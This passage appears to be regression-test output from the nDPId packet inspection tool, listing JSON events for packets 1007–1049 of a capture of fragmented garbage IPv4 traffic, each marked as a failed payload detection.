failed","thread_id":0,"packet_id":1007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610412,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610421,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610431,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610450,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610454,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610461,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610466,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610477,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610491,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610504,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610508,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610553,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1029,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610557,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1030,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610562,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1031,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610566,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1032,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1033,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610576,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1034,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610581,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1035,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610586,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1036,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1037,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1038,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610600,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1039,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610604,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1040,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610608,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1041,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1042,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610618,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1043,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1044,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610638,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1045,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1046,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610649,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1047,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610653,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1048,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":610658,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1049,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 